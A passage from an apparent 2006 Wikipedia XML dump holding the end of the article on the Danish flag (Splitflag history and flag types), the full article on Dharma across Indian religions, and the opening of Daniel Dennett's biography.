The first regulation regarding the ''Splitflag'' dates from [[March 27|27 March]], [[1630]], where King [[Christian IV of Denmark|Christian IV]] orders that Norwegian &quot;Defensionskibe&quot; (merchants ships with guns) may only use the ''Splitflag'' if they are in war-service under Denmark.
In [[1685]] an order, distributed to a number of cities in [[Slesvig]], says that all ships must carry the Danish flag, and in [[1690]] all merchants ships is forbidden to use the ''Splitflag'', with the exception of ships sailing in the East Indies, West Indies and at the coast of Africa.
In [[1741]] it is re-stated that the regulation of [[1690]] is still very much in effect, that merchants ships may not use the ''Splitflag''. At the same time it is now allowed the [[Danish East India Company]] to use the ''Splitflag'' when past the equator.

It is obvious that some confusion must have existed regarding the ''Splitflag''. In [[1696]] the Admiralty presented the King with a proposal for a standard regulating both size and shape of the ''Splitflag''. In the same year a Royal resolution defines the proportions of the ''Splitflag'', which in this resolution is called ''Kongeflaget'' (the King's flag), as follows: ''The cross must be 1/7 of the flags height. The two first fields must be square in form with the sides three times the cross width. The two outer fields are rectangular and 1½ the length of the square fields. The tails are the length of the flag''.

These numbers are the basic for the ''Splitflag'', or ''Orlogsflag'', today, though the numbers have been slightly altered. The term ''Orlogsflag'' dates from [[1806]] and denotes  use in the [[Royal Danish Navy]].

From about [[1750]] to early [[1800]]'s a number of ships / companies which the government has interests in, received approval to used the Splitflag. From the mid [[1800]]'s to [[1899]] another bunch of institutions and private companies also received approval to use the Splitflag. Especially after [[1870]] the government generous and with little thought hand out approval to all kinds to institutions.

In royal resolution of October 25, [[1939]] for the [[Danish Navy]], it is stated that the ''Orlogsflag'' is a ''Splitflag'' with a deep red (&quot;''Kraprød''&quot; or &quot;''dybrød''&quot;) colour. Like the National flag, no nuance is given, but in modern days this is given as 195U.
Furthermore the size and shape is corrected in this resolution to be: ''The cross must be 1/7 of the flags height. The two first fields must be square in form with the height of 3/7 of the flags height. The two outer fields are rectangular and 5/4 the length of the square fields. The tails are 6/4 the length of the rectangular fields''.

Comparing this to the [[1696]] resolution one can see that both the rectangular fields and the tails have become smaller.

===Who may use what?===
[[Image:Dannebrog.gif]]

1.  '''Stutflag''': This is the national flag of Denmark and is used by for all civilian purposes including the merchant navy. Any Dane can have a flagpole in the garden and use the flag according to the law. When the flag is not hoisted, for instance during darkness, a long narrow version called a ''vimpel'' or a wider version called a ''stander'' can be flown.

2.  '''Splitflag''': The use of the ''swallow-tail'' flag is restricted to the Danish Government and Navy. Note: The Naval Flag has a darker hue than the State Flag. Private yachts and motor boats are allowed to use the Naval Flag with the letters ''Y.F.''(for '''Yacht Flag''') superimposed in the upper canton. This flag is not allowed on boats for hire.

3.  '''Kongeflag''' (literally: ''The King's Flag''): This is the flag of the [[Monarch]]. It is currently used by H.M. Queen [[Margrethe II of Denmark|Margrethe II]].

4.  '''Dronningeflag''' (literally: ''The Queen's flag''). This is the flag of the consort of the monarch. The main difference from the flag of the monarch is that this version of the royal coat-of-arms lacks the supporters, two wild men. This flag was used by H.M. Queen [[Ingrid of Sweden|Ingrid]], and is currently not in use, since the Prince Consort, H.R.H. [[Prince Henrik of Denmark|Prince Henrik]] uses a special flag with a his personal coat of arms in the centre (originally, he used a flag with a crowned &quot;H&quot; in the centre).

5.  '''Rigsforstanderflag''': This flag is used by the leading member of the Royal Family when the Queen is abroad, and shows that the person currently assumes the constitutional duties of the Monarch. This person remains the ''de facto'' Monarch, until the Monarch returns to Danish territory.

6.  '''Tronfølgerflag''': This is the flag of the Crown Prince of Denmark, currently H.R.H. [[Crown Prince Frederik of Denmark|Crown Prince Frederik]].

7.  '''Kongehusflag''': This flag can be used by any member of the [[Schleswig-Holstein-Sonderburg-Glücksburg|Danish Royal Family]].

8.  '''Forsvarsminister''': This is the flag of the [[Defence Minister of Denmark|Minister of Defence]].

9.  '''Admiral''': Used on a ship to indicate that an [[Admiral]] is on board.

10. '''Viceadmiral''': Used on a ship to indicate that a [[Vice Admiral]] is on board.

11. '''Kontreadmiral''': Used on a ship to indicate that an [[Rear Admiral]] is on board.

12. '''Postflag''': This is the former flag of the Royal Danish Mail and Telegraph ([[Danish language|Danish]]: ''Kongelig Post og Telegrafvæsen''), now [[Post Danmark]].

13. '''Statens skibe''': This flag is used on ships owned by the Danish State.

14. '''DSB''': This flag is used by the [[Danske Statsbaner|DSB]], the state railway company (''Danske Statsbaner'').

15. '''Havnepoliti''': This is used by the Danish [[Water police|harbour police]].

==Flag days==

{{nationalflags}}&lt;!-- to edit this table, go to [[Template:Nationalflags]] --&gt;


==References==
* ''Dannebrog - Vort Flag'', Lieutenant Colonel Thaulow, Forlaget Codan, Copenhagen 1943
* ''Dannebrog'', Helga Bruhn, Forlaget Jespersen og Pios, Copenhagen 1949
* ''Danebrog - Danmarks Palladium'', E. D. Lund, Forlaget H. Hagerups, Copenhagen 1919
* ''DS 359:2005 ’Flagdug’'', Dansk Standard, 2005

==External links==
*{{FOTW|id=dk|title=Denmark}}


[[Category:Danish culture]]
[[Category:National flags|Denmark]]
[[Category:Nordic Cross Flags|Denmark]]

[[da:Dannebrog]]
[[de:Flagge Dänemarks]]
[[et:Taani lipp]]
[[es:Bandera de Dinamarca]]
[[eo:Dannebrog]]
[[fi:Tanskan lippu]]
[[fr:Drapeau du Danemark]]
[[ko:덴마크의 국기]]
[[it:Bandiera danese]]
[[he:דגל דנמרק]]
[[hu:Dánia zászlaja]]
[[nl:Vlag van Denemarken]]
[[ja:デンマークの国旗]]
[[no:Dannebrog]]
[[nn:Det danske flagget]]
[[pl:Flaga Danii]]
[[pt:Bandeira da Dinamarca]]
[[sv:Dannebrogen]]
[[zh:丹麦国旗]]</text>
    </revision>
  </page>
  <page>
    <title>Dharma</title>
    <id>8753</id>
    <revision>
      <id>40965327</id>
      <timestamp>2006-02-24T03:58:13Z</timestamp>
      <contributor>
        <username>Deeptrivia</username>
        <id>274615</id>
      </contributor>
      <comment>/* Meanings and origins of the word Dharma */ &quot;life&quot; was intended as an ''example'', and &quot;dharma&quot; is not often defined as life</comment>
      <text xml:space="preserve">{{otheruses}}
{{Buddhism portal}}   
{{Hinduism portal}} 
{{Hinduism_small}}
'''Dharma''' ([[Sanskrit]]: '''&amp;#2343;&amp;#2352;&amp;#2381;&amp;#2350;''', or (roughly) ''law'' or ''way'') is '''the way of the higher Truths'''. Dharma forms the basis for philosophies, beliefs and practices originating in [[India]]. The oldest of these, widely known as [[Hinduism]], is [[Sanatana Dharma]] or Eternal Dharma. [[Buddhism]], [[Ayyavazhi]], [[Jainism]] and [[Sikhism]] also retain the centrality of Dharma. In these traditions, beings that live in harmony with '''Dharma''' proceed more quickly towards [[Moksha]], [[Dharma Yukam]], [[Nirvana]], or personal [[liberation]]. Dharma also refers to the teachings and doctrines of the various founders of the traditions, such as [[Gautama Buddha]] in Buddhism and [[Mahavira]] in Jainism. As the religious and moral doctrine of the rights and duties of each individual, Dharma can refer generally to religious [[duty]], and also mean social order, right conduct, or simply virtue.

==Meanings and origins of the word Dharma==
The word '''''Dharma''''' ([[Sanskrit]]; &quot;&amp;#2343;&amp;#2352;&amp;#2381;&amp;#2350;&quot; in the [[Devanagari]] script) or '''''[[dhamma]]''''' ([[Pāli|Pali]]) is used in most or all philosophies and religions of [[India]]n origin. Specifically, the [[dharmic faiths]] include [[Hinduism]] (Sanatana Dharma), [[Buddhism]], [[Jainism]] and [[Sikhism]]. Dharma also is practiced in the [[Surat Shabd Yoga|Surat Shabda Yoga]] traditions.  In its oldest form, ''dharman'', it first appears in the [[Vedas]].

It is difficult to provide a single concise definition for Dharma (just like the definition of ''[[life]]'' fails to convey its connoted complexity). The word has a long and varied history and straddles a complex set of meanings and interpretations.  Certain [[Western culture | Westerners]] and [[Orientalist]]s have proposed a number of other possible simplistic translations, from &quot;justice&quot; to &quot;religion&quot;, however these definitions have evolved with their associated usage in Western culture. 

&quot;Dharma&quot; derives from the verbal root ''dhri'', which simply means &quot;manner of being.&quot; The term must therefore be understood in its original (i.e. metaphysical) context, to be that of a conformity to a divine or creative principle at work in an individual and in nature.  It represents the individual's internal law, to which obedience must be given if that individual life is to be lived in accordance with Divine Will.  This is what Hindus consider the sole or primary purpose of life. It explains how justice finds its place among the many modern definitions of the word dharma.

[[Rene Guenon]], father of the 20th century school of [[Perennial Philosophy]], said: 

&lt;blockquote&gt;
It [dharma] is, so to speak, the essential nature of a being, comprising the sum of its particular qualities or characteristics, and determining, by virtue of the tendencies or dispositions it implies, the manner in which this being will conduct itself, either in a general way or in relation to each particular circumstance.  The same idea may be applied, not only to a single being, but also to an organized collectivity, to a species, to all the beings included in a cosmic cycle or state of existence, or even to the whole order of the Universe; it then, at one level or another, signifies conformity with the essential nature of beings&amp;hellip; (from Guenon's &quot;Introduction to the Study of Hindu Doctrines&quot;)
&lt;/blockquote&gt;

Western definitions of the word must be considered in the light of the original meaning&amp;mdash;that is, as branches from a single root.  [[Monier Monier-Williams]], for example (while covering the entire scope it would seem), gives its ''primary'' definition as:

&lt;blockquote&gt;
That which is established or firm, steadfast decree, statute, ordinance, law; usage, practice, customary observance or prescribed conduct, duty; right, justice (often as a synonym of punishment); virtue, morality, religion, religious merit, good works, 
&lt;/blockquote&gt;

&quot;That which is established or firm,&quot; is one of the most ancient and [[etymology|etymological]]ly consistent definitions. Dharma is [[cognate]] with the [[Latin]] ''firmus'', which is the root of the English word, &quot;firm.&quot; Meanings related to law, morality, scripture, and teachings were probably acquired through analogy, by being regarded as firm and called as such. For the phenomenological or psychological meaning, see [[#Dharmas in Buddhist phenomenology|below]].

Dr. David Frawley, an expert on Hindu philosophy and religion, comments on Dharma as follows:

&lt;blockquote&gt;
A universal tradition has room for all faiths and all religious and spiritual practices regardless of the time or country of their origin.  Yet it places religious and spiritual teachings in their appropriate place relative to the ultimate goal of Self-realization, to which secondary practices are subordinated.  Sanatan Dharma also recognizes that the greater portion of human religious aspirations has always been unknown, undefined and outside of any institutionalized belief.  Sanatan Dharma thereby gives reverence to individual spiritual experience over any formal religious doctrine. Wherever the Universal Truth is manifest; there is Sanatan Dharma—whether it is in a field of religion, art or science, or in the life of a person or community.  Wherever the Universal Truth is not recognized, or is scaled down or limited to a particular group, book or person, even if done so in the name of God, there Sanatan Dharma ceases to function, whatever the activity is called.
&lt;/blockquote&gt;

According to the [[Natchintanai Scripture]]:

&lt;blockquote&gt;
By the laws of Dharma that govern body and mind, you must fear sin and act righteously.  Wise men by thinking and behaving in this way become worthy to gain bliss both here and hereafter.
&lt;/blockquote&gt;

[[Yama]], the lord of death, is also known as ''Dharma'', since he works within the laws of karma and morality, regulated by divine principles. More familiar is the embodiment of Dharma in Lord [[Rama]], an [[avatar]] of [[Vishnu]]. The eldest [[Pandava]], [[Yudhishthira]] was referred to as ''DharmaRaj'' (Most pious One) owing to his steadfastness to Truth &amp; Dharma. 

The teachings, doctrines, philosophies and practices associated with furthering ''Dharma'' are also referred to as such. Sometimes, specific qualifiers are used - viz. ''Buddha-Dharma'' and ''Jain-Dharma'' to distinguish them from [[Sanatana_Dharma]]. 

For many Buddhists, the '''Dharma''' most often means the body of teachings expounded by the [[Buddha]]. The word is also used in Buddhist [[phenomenology]] as a term roughly equivalent to [[phenomenon]], a basic unit of existence and/or experience.

In scripture translations ''dharma'' is often best left untranslated, as it has acquired a lively life of its own in English that is more expressive than any simplistic translation. Common translations and glosses include &quot;right way of living,&quot; Divine Law, Path of Righteousness, order, faith, &quot;natural harmony,&quot; rule, fundamental, and duty. ''Dharma'' may be used to refer to rules of the operation of the mind or universe in a [[Metaphysics|metaphysical]] system, or to rules of comportment in an ethical system.

==Dharma in Hinduism==
Within [[Indian philosophy]] &quot;dharma&quot; also means &quot;property&quot; and &quot;dharmin&quot; means &quot;property-bearer&quot;. In a Sanskrit sentence like &quot;zabdo 'nityaH&quot; ([[Sanskrit]] transliterated according to the [[Kyoto-Harvard convention]]), &quot;sound is impermanent&quot;, &quot;sound&quot; is the bearer of the property &quot;impermanence&quot;. Likewise, in the sentence &quot;iha ghataH&quot;, &quot;here, there is a pot&quot;, &quot;here&quot; is the bearer of the property &quot;pot-existence&quot; - this just goes to show that the categories property and property-bearer are closer to those of a logical predicate and its subject-term, and not to a grammatical predicate and subject.

===Origin and development in Hinduism===
A common manner of describing Hinduism among its adherents is as a ''way of life'', as &quot;Dharma.&quot; It defies dogma and thus seeks to instead align the human body, mind, and soul in harmony with nature. 

Our very limitation is guided under a universal understanding, that of Dharma. The Atharva Veda, the last of the four books of the [[Vedas]], utilizes symbolism to describe ''dharma's'' role. Thus we are bound by the laws of time, space and causation according to finite reality, which itself is a limitation imposed by the self-projection of the infinite [[Brahman]] as the cosmos. Dharma is the foundation of this causal existence, the one step below the infinite. Indeed, dharma is the projection of divine order from Brahman, and as such:

::::: &quot;''Prithivim Dharmana Dhritam''&quot;

::::: &quot;''This world is upheld by Dharma''&quot;

:::::-- ('''Atharva Veda''')

===Proto-dharma: rta in the Vedas===
To assess a concept whose explication is bewildering in range, it is useful to trace its nascence and subsequent development in [[Vedic civilization|Vedic]] culture. In the [[Vedas]], which span back to [[20th century BCE|2000 BCE]] (and much further in oral tradition), the first concept that is strikingly ''dharmic'' is that of [[rta]]. 

Rta literally means the &quot;course of things.&quot; At first, the early [[Hindus]] (or followers of the &quot;Sanatan Dharma&quot;) were notably confused as to the inscrutable order of nature, how the heavenly bodies, the rushing winds and flowing waters, the consistent cycling of the seasons, were regulated. Thenceforth sprang rta, whose all-purpose role it was to signify this order, the path that was always followed. Through all the metamorphoses and permutations of nature, of life in general, there was one unchangeable fact: rta.

Soon it transcended its passive role as a mere signifier and took on a greater one, that of an active imposition of order. Not only the natural principles, but the gods and goddesses themselves, were obliged to abide by rta. Rta became the father, the law of justice and righteousness, unyielding but eminently fair. It grew, as Radhakrishnan states, from &quot;physical&quot; to &quot;divine&quot; in its purvey. 

The world's seeming mess of altercating fortune, the caprice of the divinities, was now intelligible. Indeed, there was a single, unchanging harmony working 'behind the scenes.' A right path existed, ready to be taken by the righteous ones. Rta signifies the way life ought to be, shifting from physical to divine, from [[natural]] to [[moral]] order. Rta was morality, the equitable law of the universe. The conception of this all-transcending, supramental force that is, practically, the same concept as later understandings of dharma, is captured in this early [[Vedic religion|Vedic]] prayer, preempting the liturgical strains of classical [[Hinduism|Hindu]] [[mantra]]s involving ''dharma'':

:::::&quot;''O Indra, lead us on the path of Rta, on the right path over all evils''.&quot;

:::::--('''Rig Veda Book X, Chapter CXXXIII, Verse 6''')

Thus we see the logical progression of an early 'course of things' into an all-encompassing moral order, a path and way of righteousness, an all-encompassing harmony of the universe, in the Vedic idea of Rta. ([[#References|1]])

===Developing conceptions===
An earlier and insightful demonstration of the continuity of thought from rta to dharma is a brief but &quot;pregnant definition&quot; (([[#References|3]]) of dharma given in the Brihadaranyaka [[Upanishad]], a pre-Buddhist work dating back to between [[10th century BCE|1000]] to [[700s BCE|700 BCE]]. Founded upon the Hindu ideas of, as R. H. Hume's &quot;intelligent [[monism]],&quot; with [[Brahman]] the [[monad]], the Upanishads saw dharma as the universal principle of law, order, harmony, all in all truth, that sprang first from Brahman. It acts as the regulatory moral principle of the universe. It is ''sat'', truth, a major tenet of Hinduism. This hearkens back to the conception of the Rig Veda that &quot;Ekam Sat,&quot; (Truth Is One), of the idea that Brahman is &quot;''Sacchidananda''&quot; (Truth-Consciousness-Bliss). Dharma has imbibed the highest principles of Truth, and as such is &lt;u&gt;the&lt;/u&gt; central guiding principle in the Hindu conception of existence. Dharma is not just law, or harmony, it is pure Reality. In the Brihadaranyaka's own words: 

:::::&quot; ''Verily, that which is Dharma is truth''. 
:::::''Therefore they say of a man who speaks truth, 'He speaks the Dharma,' '' 

:::::''or of a man who speaks the Dharma, 'He speaks the Truth.' ''
:::::''Verily, both these things are the same''.&quot; 
:::::('''Brh. Upanishad, 1.4.14''') ([[#References|2]])

===Dharma as a Purushartha===
In moving through the four stages of life, viz. [[Brahmachaaryaashram]], [[Grihasthaashram]], [[Vanprasthaashram]], [[Sanyaasaashram]], a person also seeks to fulfill the four essentials ('''purushaartha''') of Dharma, [[Artha]] (worldly gain}, [[Kama]] (sensual pleasures), and [[Moksha]] (liberation from [[reincarnation]] or rebirth). Moksha, although the ultimate goal, is emphasized more in the last two stages of life, while Artha and Kama are primary only during Grihasthaashram. Dharma, however is essential in all four stages. 

===Kane's view===
According to [[Pandurang Vaman Kane|Dr.Pandurang Vaman Kane]], the word &quot;Dharma&quot; acquired a sense of &quot;the privileges, duties and obligations of a man, his standard of conduct as a member of the Aryan community, as a member of the caste and as a person in a particular state of life.&quot;

==In Buddhism ==
{{buddhism}}
In East Asia, the character for Dharma is [[wiktionary:法|法]], pronounced ''fǎ'' in Mandarin and ''hō'' in Japanese.

===Buddha's teachings===
For practicing Buddhists, references to &quot;dharma&quot; or ''dhamma'' in the singular, particularly as &quot;the&quot; Dharma, is used to mean the teachings of the Buddha, and is sometimes referred to as the Buddha-Dharma. ''Dharma'' is the universal law of nature and to call it Buddha-Dhamma suggests that other kinds of Dharma may exist. But this is not so, there is only one Dharma. The term Buddha-Dharma merely refers to the fact that it was discovered by the Buddha, not created by him. 

The status of the Dharma is regarded variably by different traditions. Some regard it as an ultimate and transcendent truth which is utterly beyond worldly things, somewhat like the Christian [[logos]]. Others, who regard the Buddha as simply an enlightened human being, see the Dharma more as a useful set of ideas and suggestions for how to live one's life, not requiring any special transmundane status.

&quot;Dharma&quot; usually refers inclusively not just to the sayings of the Buddha but to the later traditions of interpretation and addition that the various [[Schools of Buddhism|schools of Buddhism]] have developed to help explain and expand upon the Buddha's teachings.

The Dharma is one of the [[Three Jewels]], and Buddhists are said to seek refuge in it as in the [[Buddha]] and the [[Sangha]].

===Qualities of Buddha Dharma===
The Teaching of the Buddha also has six supreme qualities:

:# Svakkhato The Dhamma is not a speculative philosophy, but is the Universal Law found through enlightenment and is preached precisely. Therefore it is excellent in the beginning (Sīla ... Moral principles), Excellent in the middle (Samadhi. . . Concentration) and excellent in the end (Pań ña . . . Wisdom),
:# (Samditthiko) The Dhamma can be tested by practice and therefore he who follows it will see the result by himself through is own experience.
:# (Akāliko) The Dhamma is able to bestow timeless and immediate results here and now, for which there is no need to wait till the future or next existence.
:# (Ehipassiko) The Dhamma welcomes all beings to put it to the test come and see for themselves.
:# (Opāneyiko) The Dhamma is capable of being entered upon and therefore it is worthy to be followed as a part of one's life.
:# (Paccattam veditabbo viññūnhi) The Dhamma can be perfectly realized only by the noble disciples (Ariyas) who have matured and enlightened enough in supreme wisdom. 

Knowing these attributes, Buddhists believe that they will attain the greatest peace and happiness through the practice of the Dhamma. Each person is therefore fully responsible for himself to put it in the real practice.

Here the Buddha is compared to an experienced and skilful doctor, and the Dhamma to proper medicine. However efficient the doctor or wonderful the medicine may be, the patients cannot be cured unless they take the medicine properly. So the practice of the Dhamma is the only way to attain the final deliverance of Nibbāna.

===Dharmas in Buddhist phenomenology===
Other uses include, dharma, normally spelled with a small &quot;d&quot; (to differentiate), and refers to &quot;phenomenon&quot; or &quot;constituent factor&quot; of human experience. This was gradually expanded into a classification of constituents of the entire material and mental world. Rejecting the substantial existence of permanent entities which are qualified by possibly changing qualities, Buddhist [[Abhidharma]] philosophy, which enumerated [[seventy-five dharmas]], came to propound that these &quot;constituent factors&quot; are the only type of entity that truly exists. This notion is of particular importance for the analysis of human experience: Rather than assuming that mental states inhere in a cognizing subject, or a soul-substance, Buddhist philosophers largely propose that mental states alone exist as &quot;momentary elements of consciousness&quot;, and that a subjective perceiver is assumed.

One of the central tenets of Buddhism, is the denial of a separate permanent &quot;I&quot;, and is outlined in the [[Three Signs of Being]] / [[Three Seals of Existence]]. The three signs: 1. [[Dukkha]] - Suffering  (Pali: Dukkha), 2. [[Anitya]] - Change/Impermanence (Pali: Anicca), 3. [[Anatman]] - No-I (Pali: Annatta). At the heart of Buddhism, is the denial of an &quot;I&quot; (and hence the delusion) as a separate self-existing entity. 

Later, Buddhist philosophers like [[Nagarjuna|N&amp;#257;g&amp;#257;rjuna]] would question whether the dharmas (momentary elements of consciousness) truly have a separate existence of their own. (ie Do they exist apart from anything else?) Rejecting any inherent reality to the dharmas, he asked (rhetorically):
&lt;blockquote&gt;
&amp;#347;&amp;#363;nye&amp;#7779;u sarvadharme&amp;#7779;u kim ananta&amp;#7745; kimantavat
&lt;br /&gt;kim anantam antavac ca n&amp;#257;nanta&amp;#7745; n&amp;#257;ntavacca ki&amp;#7745;
&lt;br /&gt;ki&amp;#7745; tad eva kim anyat ki&amp;#7745; &amp;#347;&amp;#257;&amp;#347;vata&amp;#7745; kim a&amp;#347;&amp;#257;&amp;#347;vata&amp;#7745;
&lt;br /&gt;a&amp;#347;&amp;#257;&amp;#347;vata&amp;#7745; &amp;#347;&amp;#257;&amp;#347;vata&amp;#7745; ca ki&amp;#7745; v&amp;#257; nobhayam apyata&amp;#7717; 'tha
&lt;br /&gt;sarvopalambhpa&amp;#347;ama&amp;#7717; prapañcopa&amp;#347;ama&amp;#7717; &amp;#347;iva&amp;#7717;
&lt;br /&gt;na kva cit kasyacit ka&amp;#347;cid dharmo buddhena de&amp;#347;ita&amp;#7717;| 
&lt;br /&gt;
&lt;br /&gt;When all dharmas are empty, what is endless? What has an end?
&lt;br /&gt;What is endless and with an end? What is not endless and not with an end?
&lt;br /&gt;What is ''it''? What is ''other''? What is permanent? What is impermanent?
&lt;br /&gt;What is impermanent and permanent? What is neither? 
&lt;br /&gt;
&lt;br /&gt;Auspicious is the pacification of phenomenal metastasis, the pacification of all apprehending;
&lt;br /&gt;There is no dharma whatsoever taught by the Buddha to whomever, whenever, wherever.
--M&amp;#363;lamadhyamakak&amp;#257;rik&amp;#257;, nirv&amp;#7751;&amp;#257;napar&amp;#299;k&amp;#7779;&amp;#257;, 25:22-24
&lt;/blockquote&gt;

===Dharma as righteousness===
According to S. N. Goenka, teacher of Vipassana Meditation, the original meaning of dhamma is “dhareti ti dhamma’, or “that which is contained”.  Dharma in the Buddhist scriptures has a variety of meanings, including “phenomenon”, and &quot;nature&quot; or &quot;characteristic&quot;. Dharma also means ‘mental contents’, and is paired with citta, which means heart/mind.  The pairing is paralleled with the pairing of kaya (body) and vedana (feelings or sensations, that which arise within the body but experienced through the mind), in major sutras such as the Mahasatipatthana sutra.  Dharma is also used to refer to the teachings of the Buddha, not in the context of the words of one man, even an enlightened man, but as a reflection of natural law which was re-discovered by this man and shared with the world.  A person who lives their life with an understanding of this natural law, is a “dhammic” person, which is often translated as “righteous”.

==In Jainism==
Dharma is natural. [[Jain]] [[Acharya]] [[Samantabhadra]] writes: &quot;Vatthu sahavo dhammo&quot;  the dharma is the nature of an object. It is the nature of the soul to be free, thus for the soul, the dharma ia paralaukika, beyond worldly. However the nature of the body is to seek self-preservation and be engaged in pleasures. 

Thus there are two dharmas.

===The two Dharmas===
Acharya [[Haribhadra]] (approx. 6-7th cent.) discusses  dharma in Dharma-Bindu. 
he writes (Translation by Y. Malaiya):

soayam-anushhThaatRi-bhedat dvi-vidho &lt;br&gt;
gRihastha-dharmo yati-dharmash-cha |

Because of the difference in practice, Dharma is of two kinds,
for the householders and for the monks.

tatra gRihastha-dharmoapi dvi-vidhaH&lt;br&gt;
saamanyato visheshhatash-cha |

Of the householder's dharma, there are two kind,&quot;ordinary&quot; and &quot;special&quot;

tatra saamnayato gRihastha-dharmaH kula-krama-agatam-anindyaM&lt;br&gt;
vibhavady-apekshayaa nyaato.anushhThaanaM |

The ordinary gRihastha-dharma should be carried out according to tradition, such that it is not objectionable, according to ones abilities such as wealth, in accordance with nyaya (everyone treated fairly and according to laws).

[[Somadeva]] suri (10th c.) termss the &quot;ordinary&quot; and &quot;special&quot;
dharmas laukika and the paralukika dharmas respectively:

dvau hi dharamau gRiahasthANam, laukikaH, paarlaukikaH |&lt;br&gt;
lokaashrayo bhavedaadyah, parah syaad-aagama-AshrayaH ||

A householder follows both laukika and the paralukika dharmas at the
same time.

==Ayyavazhi dharma==
{{Religion of Ayyavazhi}}
The [[Akilattirattu Ammanai]] the scripture of [[Ayyavazhi]] teaches Dharma on two different perspective. One in [[sociology]] as charity and another under [[spirituality]] to attain the stage of Oneness, unified into [[Vaikundar]]. The sociological way is asked to be followed by every one to attain the spiritual state of Dharma.

===Sociological conception===
The sociological definition to Dharma is generated as a concrete activity of [[charity]] or almsgiving. The principle of dharma was considered as the mission of &quot;protecting or salvaging the lowly, the oppressed&quot;. The disparity among the people is to be reduced and eradicated by this act of charity. A quote in [[Vinchai to Vaikundar|Vinchai]] reads, ''&quot;To uplift the lowely is dharmam&quot;''. In this way, people were specially exhorted to undertake charity on material goods, and do it without discriminating among the beneficiaries. It is interesting to note that the great Indian saint, Swami [[Vivekananda]] applied this principle of Ayyavazhi dharma concept in practice and this may lead support to some followers of Ayyavazhi who claim that he was influenced by the religion.

===Spiritual conception===
Transposed to the spiritual plane, the concept of Dharma is propounded as 'principle of righteousness'. Ayyavazhi asserts that the prime motive of the [[avatar]] of [[Vaikundar]] was to establish Dharma in this world by destroying the evil force of [[Kaliyan]]. The definition of [[Kaliyan|Kali]] in Ayyavazhi is focused as the materialized life. So spiritual understanding of Dharma in Ayyavazhi is the life in ultimate hormony with nature or unbounded by space and time. The narration of the concept '[[Ekam]]' , 'the ultimate oneness' in [[Akilam]] right from the beginning points out it clearly. And after ending the [[Kali Yukam]], [[Dharma Yukam]], the 'world of righteousness', is said to be ruled over by Vaikundar as an ever lasting King. But on the way, it detached the caste identities by stating that it was not suited for the present [[Kali Yukam]]. A quote in Akilam reads, 

:::::&quot; ''Cast away the head-shaking devils and the eighteen castes 
:::::in to the sea, mountain and fire''.&quot;




==See also==
*[[Hindu philosophy]]
*[[Yuga Dharma]]
*[[Buddhist philosophy]]
*[[Karma]]
*[[Dhammapada]]
*[[Dharmic religion]]
*[[Dharma transmission]]
*[[Wheel of Dharma]]

==References==
#Radhakrishnan, S. ([[1923]]): &quot;''Indian Philosophy Vol.1''&quot; (''2nd Edition''). New Delhi: Oxford India Paperbacks (Oxford University Press).
#Hume, R.E.: ([[1921]]): &quot;''The Thirteen Principal Upanishads''&quot; (''2nd Edition, Revised''). Oxford: Oxford University Press.
#Easwaran, E. ([[1987]]): &quot;''The Upanishads''&quot; (Seventh Printing). Tomales, CA: Nilgiri Press.

==External links==
{{wikiquote}}
*[http://www.d2u.net/ Dharma - The Liberty of Knowledge] The principle that all knowledge are the manifestation of Dharma by Dr. Edmund Chan
*[http://www.forestdhammabooks.com/ Forest Dhamma Books] Free English translations of the teachings from the Buddhist Masters of the Thai forest tradition.
*[http://www.veda.harekrsna.cz/encyclopedia/dharma.htm Dharma-Karma-Samsara]
*[http://www.dharmaweb.org DharmaWeb] Buddhist Wiki and portal
*[http://buddhactivity.com Margaret &amp; Malcolm™ 4.0 '''Dharmic Communities'''] International Dharma Centres Database
*[http://www.e-sangha.com E-Sangha Buddhism Portal]
*[http://www.keoshi.co.uk Buddhism &amp; Buddhist Studies Portal]

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    <title>Daniel Dennett</title>
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      <text xml:space="preserve">[[image:Daniel Dennet.jpg|thumb|right|Daniel Dennett]]
'''Daniel Clement Dennett''' (born [[March 28]] [[1942]]) is a prominent [[United States|American]] [[philosophy|philosopher]]. Dennett's research centers on [[philosophy of mind]] and [[philosophy of science]], particularly as those fields relate to [[evolutionary biology]] and [[cognitive science]]. 

== Biography ==
Daniel Dennett received his B.A. in philosophy from [[Harvard University]] ([[Cambridge, MA]]) in 1963. In 1965, he received his D.Phil. in philosophy from [[University of Oxford]] ([[Oxford, England]]), where he studied under the famed philosopher [[Gilbert Ryle]]. Dennett is currently (August 2005) employed as Austin B. Fletcher Professor of Philosophy, University Professor, and Co-Director of the Center for Cognitive Studies (with [[Ray Jackendoff]]) at [[Tufts University]] ([[Medford, MA]]). He gave the [[John Locke]] Lectures at the [[University of Oxford]] in 1983, the Gavin David Young Lectures at Adelaide, Australia, in 1985, and the Tanner Lecture at Michigan in 1986, among many others. In 2001 he was awarded the [[Jean Nicod Prize]] and gave the [[Jean Nicod]] Lectures in Paris. He has received two [[Guggenheim]] Fellowships, a [[Fulbright Fellowship]], and a Fellowship at the Center for Advanced Studies in Behavioral Science. He was elected to the [[American Academy of Arts and Sciences]] in 1987. He was the co-founder (1985) and co-director of the Curricular Software Studio at [[Tufts University]], and has helped to design museum exhibits on computers for the [[Smithsonian Institution]], the Museum of Science in Boston, and the Computer Museum in Boston.  He is an avid sailor.

Dennett is the author of several major books on [[evolution]] and [[consciousness]]. He is a leading proponent of the theory known by some as [[Neural Darwinism]] (see also [[greedy reductionism]]). Dennett is also well known for his argument against [[qualia]], which claims that the concept is so confused that it cannot be put to any use or understood in any non-contradictory way, and therefore does not constitute a valid refutation of [[physicalism]]. This argument was presented most comprehensively in his book ''[[Consciousness Explained]]''.

== Philosophical Views ==
Dennett has remarked in several places (such as &quot;Self-portrait&quot;, in ''Brainchildren'') that his overall philosophical project has remained largely the same since his time at Oxford. He is primarily concerned with providing a philosophy of mind which is grounded in and fruitful to empirical research. In his original dissertation, ''Content and Consciousness'', he broke up the problem of explaining the mind into the need for a theory of content and for a theory of consciousness.  His approach to this project has also stayed true to this distinction.  Just as ''Content and Consciousness'' has a bipartite structure, he similarly divided ''Brainstorms'' into two sections. He would later collect several essays on content in ''The Intentional Stance'' and synthesize his views on consciousness into a unified theory in ''Consciousness Explained''. These volumes respectively form the most extensive development of his views, and he frequently refers back to them in subsequent writings.

While it is abundantly clear that Dennett does not subscribe to a number of categories (such as [[Cartesian materialism]] and [[Dualism]]), it is less clear which ones he fits into.  As Dennett discussed:
